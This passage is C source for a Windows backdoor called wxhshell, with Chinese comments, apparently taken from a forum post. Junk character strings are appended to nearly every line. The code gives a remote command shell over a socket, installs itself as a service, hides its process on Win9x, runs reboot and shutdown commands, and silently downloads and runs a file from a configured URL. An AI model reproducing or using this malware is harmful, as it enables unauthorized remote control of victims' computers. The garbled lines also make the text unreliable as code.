  } DS)RX.k_#  
  else { -UD\;D?$  
qv@$ZLR  
    switch(cmd[0]) { ; k)@DX  
  3:C oZ  
  // 帮助 cra+T+|>Kc  
  case '?': { (x3.poSt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tuhA 9}E  
    break; M`l.t -ut  
  } nI*v820,  
  // 安装 rW0FA  
  case 'i': { 'UYR5Y>  
    if(Install()) kbMYMx.[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DrO2y  
    else ^6_Cc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dX)GPC-D7  
    break; PZ*pQ=`  
    } %Jrt4sg[j-  
  // 卸载 Mv6 -|O  
  case 'r': { dS<C@(  
    if(Uninstall()) $t6e2=7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E8~}PQW:I  
    else G;~V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lg+G; W  
    break; 4Z/Q=Mq2  
    } G^` 1]?  
  // 显示 wxhshell 所在路径 -]t,E,(!  
  case 'p': { ]~E0gsq  
    char svExeFile[MAX_PATH]; ivW(*c  
    strcpy(svExeFile,"\n\r"); tz&y*e&  
      strcat(svExeFile,ExeFile); aG 92ay  
        send(wsh,svExeFile,strlen(svExeFile),0); n2fbp\I  
    break; <Ce2r"U1e  
    } $]A/ o(  
  // 重启 uECsh2Uin  
  case 'b': { Gqy,u3lE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FGh] S-A  
    if(Boot(REBOOT)) wV ^V]c?U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zBe8,, e  
    else { `IY/9'vT  
    closesocket(wsh); \ 5,MyB2/`  
    ExitThread(0); ~PHB_cyth  
    } B!\;/Vk  
    break; 7%{ |  
    } *7wAkljP  
  // 关机 =F;.l@:  
  case 'd': { :bC40@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z>^pCc\lH  
    if(Boot(SHUTDOWN)) ?|ZTaX6A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ti<;7Yb  
    else { f0BdXsV#g  
    closesocket(wsh); ^J\~XYg{7  
    ExitThread(0); `ck$t5:6sp  
    } ,Uy|5zv  
    break; j7)Ao*WN  
    } b&5lYp"d  
  // 获取shell UF@XK">  
  case 's': { P'O#I}Dmw<  
    CmdShell(wsh); W[^qa5W<FB  
    closesocket(wsh); C|?o*fQ  
    ExitThread(0); PxfY&;4n!  
    break; z$kenhFG/  
  } J:kmqk!  
  // 退出 Yp:KI7  
  case 'x': { xu'yVt9RC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $]rj73p^tH  
    CloseIt(wsh); {pHM},WJ  
    break; dS5a  
    } l}lIi8  
  // 离开 w&%~3Cz.  
  case 'q': { ubmrlH\d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fa<v0vb+  
    closesocket(wsh); eEn;!RS)  
    WSACleanup(); +a*^{l}AST  
    exit(1); (S v~2  
    break; $&2UTczp  
        } j8sH#b7Z  
  } /-i !;!  
  } 6HlePTf8  
,yTjU{<"  
  // 提示信息 <fs2fTUeqF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s\P2Bp_{  
} 2^^=iU=!<|  
  } ?Sb8@S&J  
"hdvHUz  
  return; ~wVd$%7`  
} fks)+L'  
]J#9\4Sq  
// shell模块句柄 r]0 lo-  
int CmdShell(SOCKET sock) 5A4&+rdU  
{ 0p@k({]<  
STARTUPINFO si; 7k(Kq5w.  
ZeroMemory(&si,sizeof(si)); t&(PN%icD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tr#V*.x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3ux0 Jr2yT  
PROCESS_INFORMATION ProcessInfo; +L5\;  
char cmdline[]="cmd"; e0$=!QlPr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qBT.x,$  
  return 0; =ID 2  
} >X51$wBL  
%b^OeWip  
// 自身启动模式 MW+b;0U`#  
int StartFromService(void) DSj(]U~r  
{ UYz0PSV=.  
typedef struct 8dlw-Q'S  
{ @e'5E^  
  DWORD ExitStatus; RAp=s  
  DWORD PebBaseAddress; /P 2[:[w  
  DWORD AffinityMask; )<xypDQ  
  DWORD BasePriority; &< !Ufa&  
  ULONG UniqueProcessId; M5trNSL&u  
  ULONG InheritedFromUniqueProcessId; Tdc3_<1  
}   PROCESS_BASIC_INFORMATION; ^7.h%lSg  
\fjMc }'  
PROCNTQSIP NtQueryInformationProcess; dqX;#H}h  
X~xd/M=9^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jx=hJ-FY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2mq$H_  
AZ{^o4<q  
  HANDLE             hProcess; ,p9i%i  
  PROCESS_BASIC_INFORMATION pbi; I=!rbF;Z  
l]]l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mP(kcMT "  
  if(NULL == hInst ) return 0; 0n/gd"M  
UG<79"\i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1* ]Ev  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :F?x)"WoQ+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kZ=s'QRgL  
2z@\R@F  
  if (!NtQueryInformationProcess) return 0; 4);)@&0Md~  
B7Tk4q\;Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); . ]8E7  
  if(!hProcess) return 0; wlPx,UqZ  
> MH(0+B*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E~kG2x{a  
_0 m\[t.  
  CloseHandle(hProcess); PG]%Bv57  
Gx 72  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WW@d:R  
if(hProcess==NULL) return 0; rP(eva  
~RD+.A  
HMODULE hMod; aSP4a+\*  
char procName[255]; uZi.HG{<)  
unsigned long cbNeeded; &,.Y9; b  
Ei2%DMN7)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U/NBFc:[y:  
JO'>oFv_W  
  CloseHandle(hProcess); c )7j QA  
:h1pBEiH  
if(strstr(procName,"services")) return 1; // 以服务启动 zW8*EE+,  
d` Sr4c  
  return 0; // 注册表启动 +B|7p9qy  
} 28OWNS M=  
:5yV.7  
// 主模块 %AW4.3()8  
int StartWxhshell(LPSTR lpCmdLine) n$:IVX"2b  
{ %5*@l vy  
  SOCKET wsl; U'*t~x <  
BOOL val=TRUE; BtY%r7^o  
  int port=0; /Ky__l!bu  
  struct sockaddr_in door; Ux2U*a ;  
b5:op@V  
  if(wscfg.ws_autoins) Install(); wl1m*`$  
Yh)Isg|0>  
port=atoi(lpCmdLine); :L 3&FA   
sFDG)  
if(port<=0) port=wscfg.ws_port; W~Z<1[  
a83g\c5   
  WSADATA data; syzdd an  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4m-I5!=O  
8by@iQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y $-3v.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T%R:NQf  
  door.sin_family = AF_INET; yE} dj)wd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5yVkb*8HS  
  door.sin_port = htons(port); V|>oGtt7  
T$= 4O9G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q7bq  
closesocket(wsl); Q# ?wXX47  
return 1; M=]5WZO~A  
} X _$a,"'~)  
jw ,izxia  
  if(listen(wsl,2) == INVALID_SOCKET) { #?B%Ja% ;W  
closesocket(wsl); #;# 3%?  
return 1; `8\Ja$ =  
} /VHi >  
  Wxhshell(wsl); H UWxPIu  
  WSACleanup(); .C]cK%OO N  
3^=+gsc  
return 0; jKIc09H|  
5HS~op2n/  
} q*)+K9LRk  
rbqo"g`  
// 以NT服务方式启动 ,LOQDIyn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N]YtLa,t  
{ Jg$xO@.  
DWORD   status = 0; Ei({`^  
  DWORD   specificError = 0xfffffff; Ov82ibp_1  
#2xSyOrmf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Rb}KZ+o "Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <a le$[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j*;N\;iL!*  
  serviceStatus.dwWin32ExitCode     = 0; EN !?:RV  
  serviceStatus.dwServiceSpecificExitCode = 0; !8tS|C#2  
  serviceStatus.dwCheckPoint       = 0; insY(.N  
  serviceStatus.dwWaitHint       = 0; +[ .Yy  
x6'^4y])  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); efz&@|KR  
  if (hServiceStatusHandle==0) return; G&f7+e  
lnbmoHv  
status = GetLastError(); 'YSuQP>  
  if (status!=NO_ERROR) G"y.Z2$  
{ PKq-@F%X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8X&Ya =  
    serviceStatus.dwCheckPoint       = 0; "?.~/@  
    serviceStatus.dwWaitHint       = 0; uM(UO,X  
    serviceStatus.dwWin32ExitCode     = status; "zZI S6j  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3,aN8F1;C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y~<@x.  
    return; Rn+4DcR  
  } 1QJBb \  
7k=fZ$+O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m W`oq  
  serviceStatus.dwCheckPoint       = 0; @\Js8[wS9@  
  serviceStatus.dwWaitHint       = 0; gd6Dm4q(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 99iUOw c  
} '7I g.K&  
0NO1M)HQv  
// 处理NT服务事件,比如:启动、停止 o`r(`6@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0&fl#]oCE  
{ /owO@~G  
switch(fdwControl) PQj<[rY  
{ ] y1fM0  
case SERVICE_CONTROL_STOP: tjv\)Nn'  
  serviceStatus.dwWin32ExitCode = 0; Q*O<@   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v@u<Ww;=@  
  serviceStatus.dwCheckPoint   = 0; O%1/ r*  
  serviceStatus.dwWaitHint     = 0; q'(z #h,cv  
  { {)K](S ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FEm=w2  
  } nwM)K  
  return; h ; kfh.  
case SERVICE_CONTROL_PAUSE: )%JD8;[Jq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <`g3(?   
  break; E(L<L1:"  
case SERVICE_CONTROL_CONTINUE: Ttv9" z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E,*&BDW  
  break; aU<s<2 O)  
case SERVICE_CONTROL_INTERROGATE: &$ p[  
  break; =3ADT$YHd  
}; AZZRa69=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MC=G"m:_  
} Rf[V)x  
RazBc.o<  
// 标准应用程序主函数 >#N[GrJAE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h[=nx^  
{ 6f] rQ9  
yBn_Kd  
// 获取操作系统版本 v:d9o.h  
OsIsNt=GetOsVer(); Q~ 0Dfo w?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XT||M)#  
j Selop>N  
  // 从命令行安装 L0&S0HG   
  if(strpbrk(lpCmdLine,"iI")) Install(); ^,7=X8Su  
*_)E6Y?9  
  // 下载执行文件 i7eI=f-Q  
if(wscfg.ws_downexe) { W (& 6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9 qH[o?]  
  WinExec(wscfg.ws_filenam,SW_HIDE); C{Blqf3V0  
} &(O06QL  
`fW{yb  
if(!OsIsNt) { cgyo_ k  
// 如果时win9x,隐藏进程并且设置为注册表启动 4 iH&:Al  
HideProc(); En5!"w|j  
StartWxhshell(lpCmdLine); pT=2e&  
} iVeQ]k(u  
else ="B n=>  
  if(StartFromService()) .5g}rxO8  
  // 以服务方式启动 7c::Qf[|  
  StartServiceCtrlDispatcher(DispatchTable); QHQj/)J8  
else %3,xaVN  
  // 普通方式启动 ?~)Ak`=  
  StartWxhshell(lpCmdLine); 0>Fqx{!heq  
Vj!WaN_  
return 0; 0$2={s4ze  
}
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只看该作者 1 发表于: 2006-10-10
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